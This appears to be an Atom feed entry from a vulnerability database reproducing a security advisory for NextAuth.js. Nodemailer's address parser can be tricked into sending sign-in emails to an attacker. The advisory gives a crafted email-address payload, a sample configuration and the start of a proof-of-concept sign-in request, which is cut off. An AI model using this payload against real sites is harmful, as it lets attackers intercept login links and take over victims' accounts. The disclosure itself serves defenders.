<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-14T06:55:30.615027+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-5jpx-9hw9-2fx4</id>
    <title>GHSA-5jpx-9hw9-2fx4 — NextAuthjs Email misdelivery Vulnerability</title>
    <updated>2026-10-14T06:55:30.626073+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: next-auth</p>
<p>### Summary</p>
<p>NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in `nodemailer`'s address parser used by the project (fixed in `nodemailer` **v7.0.7**). A crafted input such as:</p>
<p>```
"e@attacker.com"@victim.com
```</p>
<p>is parsed incorrectly and results in the message being delivered to `e@attacker.com` (attacker) instead of `"&lt;e@attacker.com&gt;@victim.com"` (the intended recipient at `victim.com`) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.</p>
<p>&lt;h2&gt;Affected NextAuthjs Version&lt;/h2&gt;</p>
<p>≤ Version | Afftected
-- | --
4.24.11 | Yes
5.0.0-beta.29 | Yes</p>
<p>## POC</p>
<p>Example Setup showing misdelivery of email</p>
<p>```jsx
import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/lib/prisma"</p>
<p>export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "noreply@authjs.dev",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})</p>
<p>```</p>
<p>```jsx
POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-5jpx-9hw9-2fx4"/>
  </entry>
</feed>
